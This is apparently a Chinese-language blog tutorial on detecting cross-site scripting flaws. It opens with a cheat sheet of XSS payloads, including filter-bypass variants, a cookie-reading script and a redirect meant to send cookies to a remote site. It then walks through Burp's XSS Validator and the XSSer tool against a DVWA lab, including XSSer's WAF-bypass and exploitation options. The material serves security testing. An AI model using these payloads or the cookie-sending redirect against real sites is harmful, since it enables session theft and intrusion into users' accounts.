XSS漏洞检测手段

一、手工注入检测

1.1 Cheat Sheet

整理的触发XSS的测试用例清单列表

普通验证payload

<script>alert(1)</script>		普通触发

其它标签payload

<img src="" onerror="alert(1)">		onerror事件触发	
<iframe src=javascript:alert(1)>	iframe标签
<svg><x><script>alert(1)</x>	svg标签

简单变形payload

'><script>alert(1)</script>
='><script>alert(1)</script>
a.jsp/<script>alert(1)</script>
<mArQuEe OnScRoLl=alert(1)>		跑马灯法

简单绕过payload

<sc<script>ript>alert(1)</sc</script>ript>	双写绕过
<sCrit>alert(1)</sCript>	大小写绕过

当前页面打cookie
(alert中字符替换成cookie即可:)

<script>alert(document.cookie)</script>

远程站点打Cookie
(使用跳转方式,将Cookie发送到远程搭建的站点:)

<script type="text/javascript">window.location.href="http://test/123";</script>

二、自动化工具检测

2.1 BurpSuite之XSS Validator

Tips:如果喜欢使用Burp的可以使用此工具,如果想使用XSS测试神兵可以优选XSStrike!

2.1.1 运行原理

本地启动Phantom(XSS-Detector服务器),监听端口
服务器通过extender模块传递经过base64编码的页面响应到XSS Validator选项卡,并复制Grep短语值
在Intruder模块grep-match函数中输入此值
匹配grep短语的有效载荷表示成功执行

2.1.2 插件安装

》》启动Burp,打开->Extender ->BApp Store 最下方的XSS Validator插件,右侧有说明
在这里插入图片描述

2.1.3 phantomjs安装

官网下载安装:http://phantomjs.org/download.html
》》安装完成如下显示成功
在这里插入图片描述

Tips:不要忘记配置环境变量

2.1.4 下载xss.js

xss.js是phantomJS检测XSS的具体实现
Github下载地址
在这里插入图片描述
》》下载完解压到桌面xss.js在如下位置:
在这里插入图片描述

2.1.5 配置XSS Validator

Grep Phrase修改为xss_result作为检测标志
JavaScript function中只使用alert便于在控制台观察结果
在这里插入图片描述

2.1.6 配置Intruder模块

加上刚才的响应结果值
在这里插入图片描述

2.1.7 XSS漏洞检测

这里使用DVWA靶场的反射xss进行测试:

》》输入123点击提交
在这里插入图片描述
》》burp抓取数据包,并发送到Intruder,选定要爆破的参数:
在这里插入图片描述
》》设置Intruder的payload生成器为XSS Validator
在这里插入图片描述
》》添加有效载荷的处理在这里插入图片描述

》》运行xss.js
在这里插入图片描述

》》开始测试
在这里插入图片描述
》》xss_result有对勾的便是存在漏洞的payload
在这里插入图片描述
》》任意选择一个payload验证漏洞是否存在(如下存在!)
在这里插入图片描述

2.1.8 工具优缺点

优点:

  • 测试方便,burp党福利~
  • 工具实用,可以简单的绕过一些限制(双写/大小写等)

缺点

  • 配置麻烦些,payload少些

2.2 XSSer

2.2.1 工具介绍

  一款开源、强大的XSS测试工具,自动化针对不同的应用程序检测和利用XSS注入过程,可bypass某些过滤器和特殊的代码注入技术。

  官网:https://xsser.03c8.net

2.2.2 工具安装

》》安装环境(kali 2019)
在这里插入图片描述
》》官网下载压缩包
在这里插入图片描述
》》解压到指定目录即可运行
在这里插入图片描述

2.2.2 使用实例

在这里插入图片描述

2.2.3 中文手册
Cross Site "Scripter" is an automatic -framework- to detect, exploit and
report XSS vulnerabilities in web-based applications.(跨站“脚本”是一个自动的框架-检测,利用和
报告基于web的应用程序中的XSS漏洞。)

Options:【选项】
  --version             show program's version number and exit(版本)
  -h, --help            show this help message and exit(帮助)
  -s, --statistics      show advanced statistics output results(统计显示高级统计输出结果)
  -v, --verbose         active verbose mode output results(详细活动详细模式输出结果)
  --gtk                 launch XSSer GTK Interface(启动XSSer gtk接口)
  --wizard              start Wizard Helper!(启动向导向导助手!)

  *Special Features*:【特殊功能】
    You can set Vector(s) and Bypasser(s) to build complex scripts for XSS
    code embedded. XST allows you to discover if target is vulnerable to(您可以设置Vector(s)和Bypasser(s)来为XSS构建复杂的脚本
嵌入代码。XST允许您发现目标是否容易受到攻击)
    'Cross Site Tracing' [CAPEC-107]:

    --imx=IMX           IMX - Create an image with XSS (--imx image.png)(IMX -用XSS创建一个图像(- imx image.png))
    --fla=FLASH         FLA - Create a flash movie with XSS (--fla movie.swf)(fla -使用XSS (- fla movie.swf)创建一个FLASH影片)
    --xst=XST           XST - Cross Site Tracing (--xst http(s)://host.com)(xst—跨站点跟踪(—xst http(s)://host.com))

  *Select Target(s)*:【选择目标】
    At least one of these options must to be specified to set the source to get target(s) urls from:(必须指定其中至少一个选项来设置源
获取目标网址:)

    --all=TARGET        Automatically audit an entire target(自动审计整个目标)
    -u URL, --url=URL   Enter target to audit(输入要审计的目标)
    -i READFILE         Read target(s) urls from file(从文件中读取目标url)
    -d DORK             Search target(s) using a query (ex: 'news.php?id=')(使用一个查询来搜索目标(例如:'news.php?id='))
    -l                  Search from a list of 'dorks'(搜索“呆子”列表)
    --De=DORK_ENGINE    Use this search engine (default: DuckDuckGo)(使用此搜索引擎(默认值:DuckDuckGo))
    --Da                Search massively using all search engines(大规模使用所有的搜索引擎)

  *Select type of HTTP/HTTPS Connection(s)*:【选择HTTP/HTTPS连接类型】
    These options can be used to specify which parameter(s) we want to use as payload(s). Set 'XSS' as keyword on the place(s) that you want to inject:(这些选项可用于指定我们要用作有效负载的参数。将“XSS”设置为要注入的位置的关键字)

    -g GETDATA          Send payload using GET (ex: '/menu.php?id=XSS')(发送有效载荷使用GET(例如:'/menu.php?id=XSS'))
    -p POSTDATA         Send payload using POST (ex: 'foo=1&bar=XSS')(使用POST发送有效载荷(例如:'foo=1&bar=XSS'))
    -c CRAWLING         Number of urls to crawl on target(s): 1-99999(要在目标上爬行的url数量:1-99999)
    --Cw=CRAWLER_WIDTH  Deeping level of crawler: 1-5 (default: 2)(CRAWLER_WIDTH深度级别:1-5(默认值:2))
    --Cl                Crawl only local target(s) urls (default: FALSE)(只抓取本地目标的url(默认:FALSE))

  *Configure Request(s)*:【配置请求】
    These options can be used to specify how to connect to the target(s) payload(s). You can choose multiple:(这些选项可用于指定如何连接到目标有效负载。您可以选择多个)

    --head              Send a HEAD request before start a test(在开始测试之前发送一个head请求头)
    --cookie=COOKIE     Change your HTTP Cookie header(改变你的HTTP cookie头)
    --drop-cookie       Ignore Set-Cookie header from response(忽略响应中的Set-Cookie标头)
    --user-agent=AGENT  Change your HTTP User-Agent header (default: SPOOFED)(修改你的HTTP user-agent报头(默认:SPOOFED))
    --referer=REFERER   Use another HTTP Referer header (default: NONE)(使用另一个HTTP引用头(默认:无))
    --xforw             Set your HTTP X-Forwarded-For with random IP values(设置您的HTTP x - for与随机的IP值)
    --xclient           Set your HTTP X-Client-IP with random IP values(使用随机的IP值设置HTTP X-Client-IP)
    --headers=HEADERS   Extra HTTP headers newline separated(额外的HTTP headers换行分隔)
    --auth-type=ATYPE   HTTP Authentication type (Basic, Digest, GSS or NTLM)(类型HTTP认证类型(Basic, Digest, GSS或NTLM))
    --auth-cred=ACRED   HTTP Authentication credentials (name:password)(HTTP身份验证凭据(名称:密码))
    --check-tor         Check to see if Tor is used properly(检查Tor是否正确使用)
    --proxy=PROXY       Use proxy server (tor: http://localhost:8118)(使用代理服务器(tor: http://localhost:8118))
    --ignore-proxy      Ignore system default HTTP proxy(忽略系统默认的HTTP代理)
    --timeout=TIMEOUT   Select your timeout (default: 30)(选择您的超时(默认值:30))
    --retries=RETRIES   Retries when connection timeout (default: 1)(连接超时时重试(默认值:1))
    --threads=THREADS   Maximum number of concurrent requests (default: 5)(线程最大并发请求数(默认为5))
    --delay=DELAY       Delay in seconds between each request (default: 0)(每个请求之间的延迟(默认为0))
    --tcp-nodelay       Use the TCP_NODELAY option(使用TCP_NODELAY选项)
    --follow-redirects  Follow server redirections (default: FALSE)(重定向Follow server重定向(默认:FALSE))
    --follow-limit=FLI  Set limit for redirection requests (default: 50)(设置重定向请求的限制(默认值:50))

  *Checker Systems*:【检查系统】
    These options are useful to know if your target is using filters against XSS attacks:(这些选项是有用的,以知道你的目标是使用过滤器的XSS攻击:)

    --hash              Send a hash to check if target is repeating content(发送一个散列来检查目标是否重复内容)
    --heuristic         Discover parameters filtered by using heuristics(启发式发现参数过滤使用启发式)
    --discode=DISCODE   Set code on reply to discard an injection(在应答时设置代码以丢弃注入)
    --checkaturl=ALT    Check reply using: <alternative url> [aka BLIND-XSS](检查回复使用:<可选的url> [aka BLIND-XSS])
    --checkmethod=ALTM  Check reply using: GET or POST (default: GET)(检查回复使用:GET或POST(默认:GET))
    --checkatdata=ALD   Check reply using: <alternative payload>(检查回复使用:<alternative payload>)
    --reverse-check     Establish a reverse connection from target to XSSer(建立从目标到XSSer的反向连接)

  *Select Vector(s)*:【选择向量】
    These options can be used to specify injection(s) code. Important if you don't want to inject a common XSS vector used by default. Choose(这些选项可用于指定注入代码。如果您不想注入一个默认使用的公共XSS向量,那么这一点非常重要)
    only one option:(只有一个选择:)

    --payload=SCRIPT    OWN   - Inject your own code(注入你自己的代码)
    --auto              AUTO  - Inject a list of vectors provided by XSSer(由XSSer提供的向量列表)

  *Select Payload(s)*:(选择载荷(s) )
    These options can be used to set the list of vectors provided by XSSer. Choose only if required:(这些选项可用于设置XSSer提供的向量列表。只有在需要时才选择)

    --auto-set=FZZ_NUM  ASET  - Limit of vectors to inject (default: 1293)(注入向量的限制(默认值:1293))
    --auto-info         AINFO - Select ONLY vectors with INFO (default: FALSE)(只选择有信息的向量(默认:FALSE))
    --auto-random       ARAND - Set random to order (default: FALSE)(随机设置随机顺序(默认为FALSE))

  *Anti-antiXSS Firewall rules*:(防火墙规则)
    These options can be used to try to bypass specific WAF/IDS products and some anti-XSS browser filters. Choose only if required:(这些选项可以用来绕过特定的WAF/IDS产品和一些反xss浏览器过滤器。只有在需要时才选择:)

    --Phpids0.6.5       PHPIDS (0.6.5) [ALL]
    --Phpids0.7         PHPIDS (0.7) [ALL]
    --Imperva           Imperva Incapsula [ALL]
    --Webknight         WebKnight (4.1) [Chrome]
    --F5bigip           F5 Big IP [Chrome + FF + Opera]
    --Barracuda         Barracuda WAF [ALL]
    --Modsec            Mod-Security [ALL]
    --Quickdefense      QuickDefense [Chrome]
    --Sucuri            SucuriWAF [ALL]
    --Firefox           Firefox 12 [& below]
    --Chrome            Chrome 19 & Firefox 12 [& below]
    --Opera             Opera 10.5 [& below]
    --Iexplorer         IExplorer 9 & Firefox 12 [& below]

  *Select Bypasser(s)*:【选择 Bypasser】
    These options can be used to encode vector(s) and try to bypass possible anti-XSS filters. They can be combined with other techniques:【这些选项可用于对向量进行编码,并尝试绕过可能的反xss过滤器。它们可以与其他技术相结合】

    --Str               Use method String.FromCharCode()(使用方法String.FromCharCode())
    --Une               Use Unescape() function(使用Unescape()函数)
    --Mix               Mix String.FromCharCode() and Unescape()(Mix String.FromCharCode()和Unescape())
    --Dec               Use Decimal encoding(使用十进制编码)
    --Hex               Use Hexadecimal encoding(使用十六进制编码)
    --Hes               Use Hexadecimal encoding with semicolons(使用带分号的十六进制编码)
    --Dwo               Encode IP addresses with DWORD(用DWORD编码IP地址)
    --Doo               Encode IP addresses with Octal(用八进制编码IP地址)
    --Cem=CEM           Set different 'Character Encoding Mutations' (reversing obfuscators) (ex: 'Mix,Une,Str,Hex')(设置不同的“字符编码突变”
(反向混淆)(例如:“Mix,Une,Str,Hex”))

  *Special Technique(s)*:【特殊技术】
    These options can be used to inject code using different XSS techniques and fuzzing vectors. You can choose multiple:(这些选项可用于使用不同的XSS技术和模糊向量注入代码。您可以选择多个)

    --Coo               COO - Cross Site Scripting Cookie injection(跨站点脚本Cookie注入)
    --Xsa               XSA - Cross Site Agent Scripting(跨站点代理脚本)
    --Xsr               XSR - Cross Site Referer Scripting(跨站点引用脚本)
    --Dcp               DCP - Data Control Protocol injections(数据控制协议注入)
    --Dom               DOM - Document Object Model injections(文档对象模型注入)
    --Ind               IND - HTTP Response Splitting Induced code(HTTP响应分裂诱导的代码)

  *Select Final injection(s)*:【选择最终注入(s)】
    These options can be used to specify the final code to inject on vulnerable target(s). Important if you want to exploit 'on-the-wild' the vulnerabilities found. Choose only one option:(这些选项可用于指定在脆弱目标上注入的最终代码。重要的是,如果你想利用“在野外”发现的漏洞。只选择一个选项)

    --Fp=FINALPAYLOAD   OWN    - Exploit your own code(利用你自己的代码)
    --Fr=FINALREMOTE    REMOTE - Exploit a script -remotely-(利用一个脚本- REMOTE -)

  *Special Final injection(s)*:【特殊最后注入(s) 】
    These options can be used to execute some 'special' injection(s) on(这些选项可以用来执行一些“特殊的”注入)
    vulnerable target(s). You can select multiple and combine them with your final code (except with DCP exploits):(易受攻击的目标。你可以选择多个并结合他们与您的最终代码(除了与DCP漏洞):)

    --Anchor            ANC  - Use 'Anchor Stealth' payloader (DOM shadows!)(使用“锚隐”payloader (DOM shadows!))
    --B64               B64  - Base64 code encoding in META tag (rfc2397)(Base64编码的元标签(rfc2397))
    --Onm               ONM  - Use onMouseMove() event(使用onMouseMove()事件)
    --Ifr               IFR  - Use <iframe> source tag(使用<iframe>源标签)
    --Dos               DOS  - XSS (client) Denial of Service(XSS(客户端)拒绝服务)
    --Doss              DOSs - XSS (server) Denial of Service(XSS(服务器)拒绝服务)

  *Reporting*:【报告】
    --save              Export to file (XSSreport.raw)(保存导出到文件(XSSreport.raw))
    --xml=FILEXML       Export to XML (--xml file.xml)(FILEXML导出到xml(——xml file.xml))

  *Miscellaneous*:【杂项】
    --silent            Inhibit console output results(禁止控制台输出结果)
    --alive=ISALIVE     Set limit of errors before check if target is alive(在检查目标是否为活动之前设置错误限制)
    --update            Check for latest stable version(对最新的稳定版本进行更新检查)

2.2.4 报错解决

》》正常插入cookie对DVWA低级进行测试报如下错误:
在这里插入图片描述
》》在此目录下运行
在这里插入图片描述
》》缺少BS模块
在这里插入图片描述
》》安装此模块
在这里插入图片描述
》》仍旧失败
》》使用官网重新安装的可解决

  • 6
    点赞
  • 72
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

風月长情

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值